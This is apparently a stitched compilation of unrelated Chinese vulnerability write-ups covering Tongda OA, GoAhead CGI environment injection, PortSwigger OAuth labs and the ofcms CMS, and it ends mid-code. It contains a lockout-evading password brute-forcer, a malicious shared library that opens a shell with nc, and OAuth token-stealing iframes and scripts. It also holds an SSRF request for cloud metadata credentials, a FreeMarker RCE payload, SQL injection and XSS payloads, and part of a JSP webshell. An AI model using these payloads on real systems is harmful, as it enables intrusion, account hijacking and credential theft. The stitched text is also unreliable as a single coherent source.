某OA系统审计小记
通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解。
通达oa 11.9 的https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe ,默认安装地址是 D:\MYOA ,联网状态下会自动更新到通达 oa 11.10
安装成功后,登录界面如下 默认账号为 admin 对应密码为空。
登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功
爆破密码
正常输入账号名密码时,输入三次错误就会禁止10分钟
我们可以通过代码方面追究其原因
webroot/inc/td_core.php
$USER_IP 的值可以来自于 X-Forwarded-For
写个 python 脚本用于爆破用户名密码
import requests
import sys
import re
def read_passwd(passwordfile):
with open(file = passwordfile, mode='r') as f:
passwd = f.read().splitlines()
return passwd
def Intruder_password(url,username,passwd_list):
success_str ="正在进入OA系统,请稍候..."
a=b=c=d=0
url = url +"/logincheck.php"
for passwd in passwd_list:
payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
response = requests.request("POST", url, data=payload, headers=headers)
if(re.search(success_str, response.text)):
print("正确的账号名:{}密码:{}".format(username,passwd))
else:
print("错误密码:{}".format(passwd))
d=d+1
if(d == 255):
c = c +1
d = 0
if(c == 255):
b = b +1
c = 0
if(b == 255):
a = a +1
b =0
def main():
if len(sys.argv) < 4:
print("Usage: Intruder_password.py targeturl username passwdfile\n"
"Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
exit()
url = sys.argv[1]
username = sys.argv[2]
passwd_list = read_passwd(sys.argv[3])
Intruder_password(url,username,passwd_list)
if __name__ == '__main__':
main()
未授权敏感信息泄露
一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析
import os
import sys
import requests
def file_path(url,filefolder):
for root, dirs, files in os.walk(filefolder):
for f in files:
paths = os.path.join(root,f)
paths = paths.replace(filefolder,url)
paths = paths.replace("\\","/")
#print(paths)
if(f.endswith(".php")):
response = requests.get(paths)
# print(str(response.status_code)+" "+str(len(response.text))+" "+paths)
print("code:"+ str(response.status_code) +" len:"+ str(len(response.text))+" url: "+ paths )
def main():
if len(sys.argv) < 3:
print("Usage: file_path.py targeturl filefolder\n"
"Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")
exit()
url = sys.argv[1]
filefolder = sys.argv[2]
file_path(url,filefolder)
if __name__ == '__main__':
main()
http://10.0.18.1/inc/reg.php 泄露版本信息
还有很多可以未授权显示的页面,不一一展示了
未授权文件下载
通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载
构造链接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a
就可以下载到根目录下的 a.zip 文件
我们从代码层面分析一下漏洞的成因
webroot/inc/package/down.php
我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中
webroot/inc/utility_file.php
如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码
webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载
靶场实验练习推荐:
https://www.yijinglab.com/expc.do?ec=ECIDb9ac-4540-46b4-b676-22df36b5935b
goahead环境变量注入漏洞分析
一、前言
1.1 下载地址
二、CVE-2017-17562
2.1 漏洞分析
cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。
2.2 代码分析
漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:
代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。
PUBLIC char *websGetCgiCommName()
{
return websTempFile(NULL, "cgi");
}
PUBLIC char *websTempFile(char *dir, char *prefix)
{
static int count = 0;
char sep;
sep = '/';
if (!dir || *dir == '\0') {
#if WINCE
dir = "/Temp";
sep = '\\';
#elif ME_WIN_LIKE
dir = getenv("TEMP");
sep = '\\';
#elif VXWORKS
dir = ".";
#else
dir = "/tmp";
#endif
}
if (!prefix) {
prefix = "tmp";
}
return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}
进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。
至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。
2.3 漏洞复现
下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)
git clone https://github.com/embedthis/goahead.git
cd goahead
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead
编写恶意动态链接库,代码以及编译命令如下所示:
#include <stdio.h>
#include <stdlib.h>
static void main(void) __attribute__((constructor));
static void main(void) {
system("nc -lp 8888 -e /bin/sh");
}
// gcc --shared -fPIC poc.c -o poc.so
构造HTTP请求发送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。
2.4 补丁分析
首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。
其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。
三、cve-2021-42342
3.1 漏洞分析
cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:
进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。
上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。
后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。
3.2 代码分析
为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下https://www.cnblogs.com/zongzi10010/p/12109380.html师傅的文章。
websOpen函数会根据配置启动相应的代码模块
其中关于cgi请求的回调函数通过websDefineHandler函数定义。
websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。
在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。
其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。
此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的
调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
3.2.1 WEBS_BEGIN
WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。 parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中
parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。
函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。
调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。
3.2.2 WEBS_CONTENT
返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。
进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。 initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。 processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。 processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp
当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中
3.2.3 WEBS_READY
程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。
在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
OAuth2.0协议安全学习
有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊?
OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用。
OAuth2.0简介
OAuth2.0是什么
OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议
OAuth2.0应用情景
OAuth2.0常被应用于以下情景
1、应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密
2、应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理
3、应用于开发平台场景中,对系统敏感资源进行安全认证和保护
密码与OAuth2.0
1、密码与令牌(token)的作用是一样的,但令牌有其特点
用户无法自己修改
且一般来说token是短期的
可以被所有者撤销
token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限
2、基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在
OAuth2.0运行流程和授权模式
首先了解一下大概结构
Client: 第三方应用
Resource Owner: 资源所有者
Authorization Server: 授权服务器
Resource Server: 拥有资源信息的服务器
以下即为运行过程
OAuth的授权模式有五种
授权码模式|authorization code
简化模式|implicit
密码模式|resource owner password credentials
客户端模式|client credentials
在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据
详情可见
https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解
OAuth2.0安全问题分析
为什么出现问题
OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会
怎么判断是否使用OAuth2.0认证方法
主要可以通过两点判断
1、对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数
2、是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证
授权服务器认证绕过
当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证
1、靶场
Lab: Authentication bypass via OAuth implicit flow
2、解法
进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证
可以尝试修改email和username
Forward发送,发现token并没有进行内容绑定,成功login
CSRF关联账号
造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数
这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF
1、靶场
Lab: Forced OAuth profile linking
2、解法
我们先正常登录
点击绑定social profile,对social media认证页面进行抓包,得到令牌code
我们可以先直接带上访问一下试试
这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号
我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证
然后进入exploit修改body
<iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe>
发送给受害者,而后重新登录social media
成功登录admin
删掉carlos用户即可
CSRF获取敏感信息
我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code
与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定
1、靶场
Lab: OAuth account hijacking via redirect_uri
2、解法
我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面
我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器
访问抓包
callback
可以看到host变成了我们的攻击服务器,这就是问题所在
我们进入exploit修改body
<iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>
修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下
确认可以后发送给受害者,然后查看log,可以看到就能窃取到code
然后根据包的发送流程,将code进行修改callback回去
https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6
成功登录admin,删除用户就行
通过开放重定向获取敏感信息
与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权
1、靶场
Lab: Stealing OAuth access tokens via an open redirect
2、解法
抓包然后查找apikey,发现在/me路径,放入repeater
测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞
进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试
抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取
我们修改url重定向回exploit
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profi
进行访问,成功返回hello,world
这样我们就可以编写script,让admin登录从而泄露token
<script>
if (!document.location.hash) {
window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=3997
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
发送给受害者后进入access log,得到access_token
将access_token替换到/me路径的Authorization: Bearer标头中的token
发送即可得到apikey,提交即可
危险传递、使用某些特定数据
当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露
1、靶场
Lab: SSRF via OpenID dynamic client registration
2、解法
首先我们需要了解的是在OAuth服务开发中,存在这样一类文件
/.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json)
他们存储着一些相关的配置
我们尝试访问
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration
可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组
传参后我们可以看到服务器给我们返回了client_id和一系列数据
我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri
我们可以进行尝试,启动Burp Collaborator client
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}
发现可以成功携带数据
当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据
/client/CLIENT-ID/logo
那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
得到key
防御总结
使用白名单检验redirect_url参数
检验state参数是否存在
ccess token和client_id是否匹配,同时验证access token的访问范围
修复client端的开放重定向漏洞,防止auth code的泄露
细说从0开始挖掘CMS
前言
挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。
确立目标
挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。
如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。
信息收集
如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。
项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到
漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。
或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。
环境搭建
上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。
本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
环境要求
一般项目都会有写环境要求的,我们调整一下就好。
环境准备
环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。
数据库
首先找到db.properties,如果不能一眼看到可以通过ctrl+shift+f来快速搜索
/ofcms-admin/src/main/resources/dev/conf/db.properties
找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。
然后按数据库信息来修改,然后点击右边的数据库,配置一下。
如果出现以下的错误
Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.
这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。
win+R
cmd
mysql -hlocalhost -uroot -p
(然后输入数据库密码)
show variables like'%time_zone';
set global time_zone = '+8:00';
没配置环境变量的,看这个文章
https://blog.csdn.net/liuqiker/article/details/102455077配置成功效果图如下
maven
右键项目找到mavne重新加载项目即可
tomcat
在run-configuration中配置tomcat
在Deployment配置一下
一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下。
安装过程
这一步就比较简单了,跟着弄就好了。
下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。
在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。
如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21
数据库位置ofcms-master\doc\sql,选择相应的版本直接拖进navicat中,然后导入成功后刷新一下就好。
接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。
漏洞复现
环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。
ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。
任意文件写入
漏洞模板文件这个位置,漏洞的详细分析可以看看https://blog.csdn.net/xd_2021/article/details/123611835
漏洞复现
我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。
这里就是写入文件,我们在admin目录下写入eek1.xml文件。
通过上面任意文件读取漏洞去读取一下
模板注入漏洞
漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇http://www.wjhsh.net/bmjoker-p-13653563.html。
漏洞复现
漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }
插入后直要访问前台就会出发payload
模板注入的知识点可以看看这篇https://blog.csdn.net/weixin_44522540/article/details/122844068
通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。
SQL注入漏洞
漏洞分析参考https://blog.csdn.net/xd_2021/article/details/123611835,由于这里的预编译处理不起作用,所以可以执行SQL语句。
漏洞复现
漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包
直接把payload输进来
update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)
任意文件上传
漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx
漏洞复现
找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。
eek.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);sessio
可以看到文件上传进去,而且内容没被修改。
漏洞挖掘
通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。
首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。
XSS漏洞
漏洞复现
对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。
<video src=x onerror=alert("eek") />
漏洞分析
文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1
package com.ofsoft.cms.api.v1;
import com.jfinal.plugin.activerecord.Db;
import com.ofsoft.cms.api.ApiBase;
import com.ofsoft.cms.core.annotation.Action;
import com.ofsoft.cms.core.api.ApiMapping;
import com.ofsoft.cms.core.api.RequestMethod;
import com.ofsoft.cms.core.api.check.ParamsCheck;
import com.ofsoft.cms.core.api.check.ParamsCheckType;
import com.ofsoft.cms.core.utils.IpKit;
import java.util.Map;
/**
* 评论接口
*
* @author OF
* @date 2019年2月24日
*/
@Action(path = "/comment")
public class CommentApi extends ApiBase {
/**
* 获取内容信息
*/
@ApiMapping(method = RequestMethod.GET)
@ParamsCheck(
{@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),
@ParamsCheckType(name = "site_id")})
public void save() {
try {
Map params = getParamsMap();
params.put("comment_ip", IpKit.getRealIp(getRequest()));
Db.update(Db.getSqlPara("cms.comment.save", params));
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson();
}
}
}
请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694
这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。
逻辑缺陷漏洞1
本地环境
现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。
admin/admin
eek/123
超级管理员后台界面。
普通管理员后台界面
漏洞复现
我们先以普通管理员登录
点击右上角,修改密码
在此处burp抓包
修改id为1,密码任意
修改前admin的密码是admin
修改后为admin,密码是eek
漏洞分析
漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法
...
public void respwd() {
Map<String, Object> params = getParamsMap();
String password = (String) params.get("password");
String newpassword = (String) params.get("newpassword");
if (!password.equals(newpassword)) {
rendFailedJson("两次密码不一致!");
return;
}
Record record = new Record();
if (!StringUtils.isBlank(password)) {
password = new Sha256Hash(password).toHex();
record.set("user_password", password);
}
record.set("user_id", params.get("user_id"));
try {
Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"));
}
}...
在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。
这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。
逻辑缺陷漏洞2
本地环境
数据库信息如下图所示
现在有超级管理员,admin/123
普通管理员,eek/123
漏洞复现
首先以普通管理员身份登录,然后点击右上角,基本资料
在此处burp抓包
修改信息,user_id改为1,密码修改为admin
以系统管理员身份登录
成功登录
漏洞分析
漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法
...
public void update() {
Map<String, Object> params = getParamsMap();
String password = (String) params.get("password");
if (!StringUtils.isBlank(password)) {
password = new Sha256Hash(password).toHex();
params.put("user_password", password);
}
params.remove("password");
String roleId = (String) params.get("role_id");
if (!StringUtils.isBlank(roleId)) {
SqlPara sql = Db.getSqlPara("system.user.role_update", params);
Db.update(sql);
}
params.remove("role_id");
Record record = new Record();
record.setColumns(params);
try {
Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"));
}
}
...
在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。
任意文件读取
漏洞复现
找到模板文件
所对应的路径是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,这里可以通过目录穿越来读取任意文件。
在他的上两级有个web.xml文件,我们尝试读取一些。
这里不能直接编辑,burp抓个包。
web.xml文件如下所示
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://td/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>
<filter>
<filter-name>shiro</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
.........
读取成功
漏洞分析
漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于该模块的getTemplates方法中
package com.ofsoft.cms.admin.controller.cms;
...
public void getTemplates() {
//当前目录
String dirName = getPara("dir","");
//上级目录
String upDirName = getPara("up_dir","/");
//类型区分
String resPath = getPara("res_path");
//文件目录
String dir = null;
if(!"/".equals(upDirName)){
dir = upDirName+dirName;
}else{
dir = dirName;
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
File[] dirs = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return file.isDirectory();
}
});
if(StringUtils.isBlank (dirName)){
upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
}
setAttr("up_dir_name",upDirName);
setAttr("up_dir","".equals(dir)?"/":dir);
setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);
setAttr("dirs", dirs);
/*if (dirName != null) {
pathFile = new File(pathFile, dirName);
}*/
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
setAttr("files", files);
String fileName = getPara("file_name", "index.html");
File editFile = null;
if (fileName != null && files != null && files.length > 0) {
for (File f : files) {
if (fileName.equals(f.getName())) {
editFile = f;
break;
}
}
if (editFile == null) {
editFile = files[0];
fileName = editFile.getName();
}
}
setAttr("file_name", fileName);
if (editFile != null) {
